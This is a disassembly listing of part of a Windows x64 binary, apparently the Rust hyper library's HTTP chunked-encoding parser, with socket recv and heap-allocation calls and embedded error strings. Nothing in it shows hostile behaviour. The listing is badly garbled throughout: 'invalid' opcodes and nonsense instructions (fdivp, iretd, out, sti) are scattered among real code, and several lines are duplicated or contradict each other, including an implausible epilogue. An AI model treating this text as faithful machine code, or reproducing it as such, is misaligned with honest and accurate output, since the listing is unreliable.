jmp 0x1400e5e65
mov rbx, rdx
mov r14d, 3
lea rcx, [rbp + 0x20]
xor esi, esi
mov rdx, r12
xor r8d, r8d
call qword [r15 + reloc.WS2_32.dll_recv]
mov rdx, rbx
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rdx], xmm0
movaps xmm0, xmmword [rbp - 0x40]
mov rbx, qword [rbp - 0x28]
movups xmmword [rbx + 0x18], xmm0
mov qword [rdi + 0x70], r14
mov rcx, rdi
call fcn.1400e5a70
mov rcx, rdi
mov rdx, qword [rbp]
call fcn.1400e5b50
mov qword [rbx], rsi
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r12
jmp 0x1400e6b85
or al, 0
invalid
call fcn.14015cc80
mov rdx, qword [rdi + 0x110]
jmp 0x1400e5cef
invalid
mov r14, rax
lea rcx, [rbp + 0x50]
xor esi, esi
mov rdx, r12
xor r8d, r8d
call qword [r15 + reloc.WS2_32.dll_recv]
mov rdx, r13
mov r12, r14
xor r15d, r15d
test rsi, rsi
jne 0x1400e6b7a
test ebp, ebp
or eax, dword [rax]
invalid
test ebp, ebp
or eax, dword [rax]
add cl, ch
fdivp st(5)
invalid
jmp 0x1400e5d70
add byte [rax - 0x73], cl
jne 0x1400e5fc1
lea r9, [rbp + 0x38]
mov r8d, 1
add byte [rax], al
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
mov rcx, rsi
call fcn.140160e20
ud2
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x48]
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e6178
movzx esi, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
lea ecx, [rsi - 0x30]
cmp cl, 0xa
jae 0x1400e6092
mov rax, qword [rdi + 0x80]
mov rdx, rax
shr rdx, 0x3c
jne 0x1400e628f
shl rax, 4
movzx ecx, cl
add rcx, rax
mov qword [rdi + 0x80], rcx
xor eax, eax
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
lea eax, [rsi - 0x61]
cmp al, 6
jae 0x1400e60e3
mov rax, qword [rdi + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x1400e628f
add sil, 0xa9
shl rax, 4
movzx ecx, sil
add rcx, rax
mov qword [rdi + 0x80], rcx
xor eax, eax
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
lea eax, [rsi - 0x41]
cmp al, 6
jae 0x1400e6109
mov rax, qword [rdi + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x1400e62fd
add sil, 0xc9
mov ecx, esi
jmp 0x1400e6061
movzx ecx, sil
mov al, 1
cmp ecx, 0x1f
jg 0x1400e6146
cmp ecx, 9
je 0x1400e7292
cmp ecx, 0xd
jne case.default.0x1400e6176
mov al, 3
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
cmp ecx, 0x20
je 0x1400e7292
cmp ecx, 0x3b
jne case.default.0x1400e6176
mov al, 2
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e61a4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e78b9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
or byte [rax], al
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
invalid
add byte [rdi], cl
adc dword [rax + 0x10], eax
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c20657a69
and byte [rcx + rbp*2 + 0x6e], ch
mov qword gs:[r12 + 0x1d], rax
invalid
and byte [rcx + rbp*2 + 0x6e], ch
mov qword gs:[r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e620e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
invalid
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e63b4
mov qword [rax], r12
mov qword [rax + 8], 0x25
mov qword [rbp + 0x58], rax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6264
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e627b
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400e75de
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
movzx eax, byte [0x1402153f8]
mov ecx, 0x1c
mov edx, 1
call fcn.140013830
test rax, rax
je 0x1400e6388
mov r14, rax
movups xmm0, xmmword [0x1401d5f61]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [0x1401d5f55]
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
push rsp
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
iretd
add byte [rax], al
invalid
mov qword [rax], r14
mov qword [rax + 8], 0x1c
mov qword [rax + 0x10], 0x1c
jmp 0x1400e639b
lea rdx, [0x1401d5f55]
lea rcx, [rbp + 8]
mov r8d, 0x1c
call fcn.1400e95b0
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
test rax, rax
je 0x1400e63b4
mov rcx, qword [rbp + 0x18]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rbp + 8]
movups xmmword [rax], xmm0
jmp 0x1400e639b
lea rdx, str.Invalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_nconnection_errorC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
lea rcx, [rbp + 8]
mov r8d, 0x25
call fcn.1400e95b0
add byte [rdi], cl
mov dh, 5
cwde
lock adc al, byte [rax]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
test rax, rax
je 0x1400e63b4
mov rcx, qword [rbp + 0x18]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rbp + 8]
movups xmmword [rax], xmm0
jmp 0x1400e662c
mov ecx, 1
mov edx, 0x1c
call fcn.14015d7f0
ud2
ud2
lea r8, fcn.140022090
mov cl, reloc.WS2_32.dll_setsockopt
mov rdx, rax
call case.0x140135ac3.153
mov r12, rax
jmp 0x1400e6b4c
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
invalid
add byte [rdi], cl
invalid
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x48]
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e649c
movzx esi, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
mov al, 1
cmp esi, 0x1f
jg 0x1400e646a
cmp esi, 9
je 0x1400e7292
cmp esi, 0xd
jne case.default.0x1400e649a
mov al, 3
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
cmp esi, 0x20
je 0x1400e7292
cmp esi, 0x3b
jne case.default.0x1400e649a
mov al, 2
mov byte [rdi + 0x79], al
jns 0x1400e64ca
mov dword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e64c8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e78b9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
invalid
add byte [rdi], cl
adc dword [rax + 0x10], eax
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c20657a69
mov qword [r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
out dx, al
adc al, byte [rax]
test rcx, rcx
jne 0x1400e6532
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x81af8
test rax, rax
je 0x1400e63b4
invalid
mov qword [rax], r12
mov qword [rax + 8], 0x25
mov qword [rbp + 0x58], rax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6588
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e659f
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400e75de
adc byte [rax], al
invalid
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
movzx eax, byte [0x1402153f8]
mov ecx, 0x25
mov edx, 1
call fcn.140013830
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
out 0x12, eax
add byte [rax], al
mov r14, rax
movups xmm0, xmmword [0x1401d5e62]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401d5e52]
movups xmmword [rax], xmm0
movabs rax, 0x6563617073206574
mov qword [r14 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
test rax, rax
je 0x1400e63b4
std
invalid
invalid
std
invalid
mov qword [rax], r14
mov qword [rax + 8], 0x25
mov qword [rax + 0x10], 0x25
jmp 0x1400e662c
lea r8, fcn.140022090
mov cl, setsockopt
jmp case.0x1400e7c4b.12
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x48]
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e66ca
movzx esi, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
cmp esi, 0xd
jne case.default.0x1400e66c8
mov al, 3
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ah, ch
adc al, byte [rax]
test rcx, rcx
jne 0x1400e66f6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
test eax, eax
je 0x1400e78b9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
adc byte [0x1401d5de8], al
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c20657a69
mov qword [r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
in al, dx
adc al, byte [rax]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6760
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e63b4
mov qword [rax], r12
mov qword [rax + 8], 0x25
or byte [0x1880e6783], ah
mov dword [rbp + 0x58], eax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e67b6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e67cd
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400e75de
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
mov al, 2
cmp esi, 0xa
jne 0x1400e7292
movzx eax, byte [0x1402153f8]
mov ecx, 0x28
mov edx, 1
call fcn.140013830
test rax, rax
je 0x1400e6864
mov r14, rax
movups xmm0, xmmword [0x1401d5e87]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401d5e77]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c77656e20
mov qword [r14 + 0x20], rax
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
test rax, rax
je 0x1400e63b4
sti
invalid
invalid
sti
invalid
mov qword [rax], r14
mov qword [rax + 8], 0x28
mov qword [rax + 0x10], 0x28
jmp 0x1400e639b
mov ecx, 1
mov edx, 0x28
call fcn.14015d7f0
ud2
mov r8, rbx
mov rbx, qword [rdi + 0x80]
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e68fb
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e68f6
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x48]
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
cmp byte [rcx + rcx*4 + 0x7d], cl
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e6904
movzx esi, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
cmp sil, 0xa
jne 0x1400e6a25
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x7b], 0xdb
xor eax, eax
test rbx, rbx
sete al
lea esi, [rax + rax*4]
add esi, 4
mov rbx, qword [rbp]
mov ebx, dword [rbp]
mov ebx, dword [rbp]
jmp 0x1400e762c
mov al, 1
mov r12, r15
mov rbx, qword [rbp]
jmp 0x1400e7624
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
invalid
test rcx, rcx
je 0x1400e691d
mov rbx, qword [rbp]
jmp 0x1400e693a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov rbx, qword [rbp]
je 0x1400e78b9
mov rcx, rax
mov ecx, eax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c20657a69
mov qword [r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e69a4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
or byte [rax], al
or byte [rax], al
test rax, rax
je 0x1400e63b4
mov qword [rax], r12
mov qword [rax + 8], 0x25
and eax, 0x48000000
mov dword [rbp + 0x58], eax
and eax, 0x48000000
mov dword [rbp + 0x58], eax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
add byte [rax - 0x7b], cl
leave
add byte [rax - 0x7b], cl
leave
jne 0x1400e69fa
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e6a11
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400e75de
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
leave
jne 0x1400e6a51
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e706e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, reloc.WS2_32.dll_setsockopt
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x815d9
test rax, rax
je 0x1400e706e
mov r14, rax
movups xmm0, xmmword [0x1401d5e3d]
movups xmmword [rax], xmm0
movabs rax, 0x464c20657a697320
and byte gs:[rsi + rax*2 + 0x49], cl
mov dword [rsi + 0xd], eax
and byte gs:[rsi + rax*2 + 0x49], cl
mov dword [rsi + 0xd], eax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6aaf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
psubw mm7, mm7
invalid
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e63b4
xor r15d, r15d
xor esi, esi
mov rax, qword [rbp - 0x20]
test rax, rax
je 0x1400e6b69
lea rcx, [rbp - 8]
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
invalid
invalid
call qword [rax + reloc.WS2_32.dll_recv]
xor eax, eax
xor ecx, ecx
mov rdx, qword [rbp - 0x30]
test rsi, rsi
je 0x1400e5d70
div cl
invalid
invalid
mov rax, qword [rbp - 0x28]
mov qword [rax], 2
mov dword [rax], 2
add rsp, 0xe8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov r9, qword [rdi + 0x80]
lea rcx, [rbp + 8]
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
test dword [rax + 0xa], ebp
add byte [rax], al
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
test rax, rax
je 0x1400e6c14
lea rdx, [rbp + 0x20]
movups xmm0, xmmword [rdx]
lea rdx, [rbp + 0x48]
movups xmmword [rdx], xmm0
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x1400e6c1e
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x40]
movups xmm0, xmmword [rbp + 0x48]
movaps xmmword [rbp - 0x10], xmm0
sub qword [rdi + 0x80], rax
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdx
sete sil
or sil, 4
jmp 0x1400e762c
mov al, 1
mov r12, rcx
jmp 0x1400e7624
mov qword [rdi + 0x80], 0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6c51
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e6c9b
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e6c9b
mov r12, rax
mov qword [rax], 1
lea rax, [0x1401d5ed8]
mov qword [r12 + 8], rax
and al, 8
mov byte [r12 + 0x10], 0x25
inc r12
mov rax, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x40]
mov edx, dword [rbp + 0x40]
mov r8, qword [rbp + 0x48]
lea rcx, [rbp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400e760c
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x48]
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e6d5a
movzx ebx, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
mov al, 6
cmp bl, 0xd
mov rbx, qword [rbp]
je 0x1400e7292
movzx eax, byte [0x1402153f8]
mov ecx, reloc.WS2_32.dll_setsockopt
mov edx, 1
call fcn.140013830
test rax, rax
je 0x1400e706e
mov r14, rax
movups xmm0, xmmword [0x1401d5e11]
movups xmmword [rax], xmm0
movabs rax, 0x52432079646f6220
jmp 0x1400e6e71
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6d86
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e78b9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
add byte [rax - 0x48], cl
imul edi, dword [rdx + 0x65], 0x6e696c20
mov qword gs:[r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6df0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e63b4
mov qword [rax], r12
mov qword [rax + 8], 0x25
mov qword [rbp + 0x58], rax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6e46
mov qword [r14 + 0xd], rax
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
add byte [rdx + 8], bh
add byte [rdx + 8], bh
call fcn.140013830
test rax, rax
je 0x1400e63b4
cmc
invalid
invalid
mov qword [rax], r14
mov qword [rax + 8], reloc.WS2_32.dll_setsockopt
mov qword [rax + 0x10], reloc.WS2_32.dll_setsockopt
jmp 0x1400e662c
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
add byte [rax - 0x73], cl
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e6f57
movzx ebx, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
xor eax, eax
cmp bl, 0xa
mov rbx, qword [rbp]
je 0x1400e7292
movzx eax, byte [0x1402153f8]
mov ecx, reloc.WS2_32.dll_setsockopt
mov edx, 1
call fcn.140013830
test rax, rax
je 0x1400e706e
mov r14, rax
movups xmm0, xmmword [0x1401d5e26]
movups xmmword [rax], xmm0
movabs rax, 0x464c2079646f6220
jmp 0x1400e6e71
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6f83
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e78b9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c20657a69
mov qword [r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e6fed
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
ror byte [rdi], 0x84
sal ebx, 1
invalid
invalid
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e63b4
mov qword [rax], r12
mov qword [rax + 8], 0x25
mov dword [rax + 8], 0x25
mov qword [rbp + 0x58], rax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e7043
add byte [rax - 0x7b], cl
sal byte [rcx + riz + 0x48], 0x89
ror dword [rax - 0x77], 5
sbb eax, 0x410012e3
mov eax, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400e75de
test dword [rbp + rax + 0x8b90000], eax
add byte [rax], al
add byte [rdx + 0x18], bh
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
mov ecx, 1
mov edx, reloc.WS2_32.dll_setsockopt
adc eax, 0xe8000000
jae 0x1400e70e2
invalid
add byte [rdi], cl
invalid
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
lea rax, [rbp + 0x20]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x48]
movups xmmword [rax], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r15
mov r8, qword [rbp + 0x48]
test r8, r8
je 0x1400e710b
movzx ebx, byte [r15]
lea rcx, [rbp + 0x50]
mov rdx, r15
call qword [r13 + reloc.WS2_32.dll_recv]
cmp bl, 0xd
mov rbx, qword [rbp]
sete al
add al, 7
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
